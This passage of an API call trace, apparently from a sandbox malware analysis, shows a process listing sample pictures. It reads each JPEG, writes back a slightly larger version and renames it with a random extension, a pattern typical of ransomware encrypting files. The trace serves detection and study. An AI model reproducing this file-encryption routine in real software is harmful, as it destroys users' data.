ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0160.118] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1 [0160.118] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0160.119] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0160.119] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0 [0160.119] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.120] SetErrorMode (uMode=0x0) returned 0x1 [0160.120] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0160.120] SetErrorMode (uMode=0x1) returned 0x0 [0160.121] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*" (normalized: "c:\\users\\public\\pictures\\sample pictures\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1 [0160.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0160.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1 [0160.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1 [0160.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0160.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1 [0160.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0160.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0160.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0 [0160.123] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.125] SetErrorMode (uMode=0x0) returned 0x1 [0160.125] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0160.125] SetErrorMode (uMode=0x1) returned 0x0 [0160.125] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0160.128] GetFileType (hFile=0x1d0) returned 0x1 [0160.128] SetErrorMode (uMode=0x0) returned 0x1 [0160.128] GetFileType (hFile=0x1d0) returned 0x1 [0160.128] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xd6b22 [0160.161] ReadFile (in: hFile=0x1d0, lpBuffer=0x127c0ba0, nNumberOfBytesToRead=0xd6b22, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x127c0ba0*, lpNumberOfBytesRead=0x21d418*=0xd6b22, lpOverlapped=0x0) returned 1 [0160.378] CloseHandle (hObject=0x1d0) returned 1 [0160.545] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0160.546] SetErrorMode (uMode=0x1) returned 0x0 [0160.546] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0160.556] GetFileType (hFile=0x1d0) returned 0x1 [0160.556] SetErrorMode (uMode=0x0) returned 0x1 [0160.556] GetFileType (hFile=0x1d0) returned 0x1 [0160.556] WriteFile (in: hFile=0x1d0, lpBuffer=0x128976e0*, nNumberOfBytesToWrite=0xd6b30, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x128976e0*, lpNumberOfBytesWritten=0x21d498*=0xd6b30, lpOverlapped=0x0) returned 1 [0160.668] CloseHandle (hObject=0x1d0) returned 1 [0160.694] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0160.694] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.2tf4m6", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.2tf4m6", lpFilePart=0x0) returned 0x41 [0160.694] SetErrorMode (uMode=0x1) returned 0x0 [0160.695] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5c1e4da0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xd6b30)) returned 1 [0160.695] SetErrorMode (uMode=0x0) returned 0x1 [0160.695] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.2tf4m6" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.2tf4m6")) returned 1 [0160.696] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0160.696] SetErrorMode (uMode=0x1) returned 0x0 [0160.696] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0160.696] GetFileType (hFile=0x1d0) returned 0x1 [0160.697] SetErrorMode (uMode=0x0) returned 0x1 [0160.697] GetFileType (hFile=0x1d0) returned 0x1 [0160.697] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xce875 [0160.718] ReadFile (in: hFile=0x1d0, lpBuffer=0x1296e240, nNumberOfBytesToRead=0xce875, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x1296e240*, lpNumberOfBytesRead=0x21d418*=0xce875, lpOverlapped=0x0) returned 1 [0160.741] CloseHandle (hObject=0x1d0) returned 1 [0160.897] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0160.898] SetErrorMode (uMode=0x1) returned 0x0 [0160.898] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0160.908] GetFileType (hFile=0x1d0) returned 0x1 [0160.908] SetErrorMode (uMode=0x0) returned 0x1 [0160.908] GetFileType (hFile=0x1d0) returned 0x1 [0160.908] WriteFile (in: hFile=0x1d0, lpBuffer=0x12a3cad0*, nNumberOfBytesToWrite=0xce880, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x12a3cad0*, lpNumberOfBytesWritten=0x21d498*=0xce880, lpOverlapped=0x0) returned 1 [0160.955] CloseHandle (hObject=0x1d0) returned 1 [0160.980] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0160.980] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.hkno0p", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.hkno0p", lpFilePart=0x0) returned 0x3a [0160.980] SetErrorMode (uMode=0x1) returned 0x0 [0160.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5c46c500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xce880)) returned 1 [0160.980] SetErrorMode (uMode=0x0) returned 0x1 [0160.980] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.hkno0p" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.hkno0p")) returned 1 [0160.981] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0160.982] SetErrorMode (uMode=0x1) returned 0x0 [0160.982] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0160.995] GetFileType (hFile=0x1d0) returned 0x1 [0160.995] SetErrorMode (uMode=0x0) returned 0x1 [0160.995] GetFileType (hFile=0x1d0) returned 0x1 [0160.995] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x91554 [0161.002] ReadFile (in: hFile=0x1d0, lpBuffer=0x12b0b380, nNumberOfBytesToRead=0x91554, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x12b0b380*, lpNumberOfBytesRead=0x21d418*=0x91554, lpOverlapped=0x0) returned 1 [0161.032] CloseHandle (hObject=0x1d0) returned 1 [0161.179] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0161.179] SetErrorMode (uMode=0x1) returned 0x0 [0161.179] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0161.187] GetFileType (hFile=0x1d0) returned 0x1 [0161.187] SetErrorMode (uMode=0x0) returned 0x1 [0161.187] GetFileType (hFile=0x1d0) returned 0x1 [0161.187] WriteFile (in: hFile=0x1d0, lpBuffer=0x12974bf0*, nNumberOfBytesToWrite=0x91560, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x12974bf0*, lpNumberOfBytesWritten=0x21d498*=0x91560, lpOverlapped=0x0) returned 1 [0162.007] CloseHandle (hObject=0x1d0) returned 1 [0162.015] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0162.015] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.h5q05d", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.h5q05d", lpFilePart=0x0) returned 0x3e [0162.015] SetErrorMode (uMode=0x1) returned 0x0 [0162.015] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5c766080, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x91560)) returned 1 [0162.015] SetErrorMode (uMode=0x0) returned 0x1 [0162.015] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.h5q05d" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.h5q05d")) returned 1 [0162.016] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0162.016] SetErrorMode (uMode=0x1) returned 0x0 [0162.017] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0162.019] GetFileType (hFile=0x1d0) returned 0x1 [0162.019] SetErrorMode (uMode=0x0) returned 0x1 [0162.019] GetFileType (hFile=0x1d0) returned 0x1 [0162.019] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xbd616 [0162.028] ReadFile (in: hFile=0x1d0, lpBuffer=0x12a06180, nNumberOfBytesToRead=0xbd616, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x12a06180*, lpNumberOfBytesRead=0x21d418*=0xbd616, lpOverlapped=0x0) returned 1 [0162.767] CloseHandle (hObject=0x1d0) returned 1 [0162.923] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0162.924] SetErrorMode (uMode=0x1) returned 0x0 [0162.924] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0162.934] GetFileType (hFile=0x1d0) returned 0x1 [0162.934] SetErrorMode (uMode=0x0) returned 0x1 [0162.934] GetFileType (hFile=0x1d0) returned 0x1 [0162.934] WriteFile (in: hFile=0x1d0, lpBuffer=0x12c3e400*, nNumberOfBytesToWrite=0xbd620, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x12c3e400*, lpNumberOfBytesWritten=0x21d498*=0xbd620, lpOverlapped=0x0) returned 1 [0163.090] CloseHandle (hObject=0x1d0) returned 1 [0163.118] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0163.119] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.orihz5", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.orihz5", lpFilePart=0x0) returned 0x3d [0163.119] SetErrorMode (uMode=0x1) returned 0x0 [0163.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5caabec0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xbd620)) returned 1 [0163.119] SetErrorMode (uMode=0x0) returned 0x1 [0163.119] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.orihz5" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.orihz5")) returned 1 [0163.121] GetFullPathNameW (in: 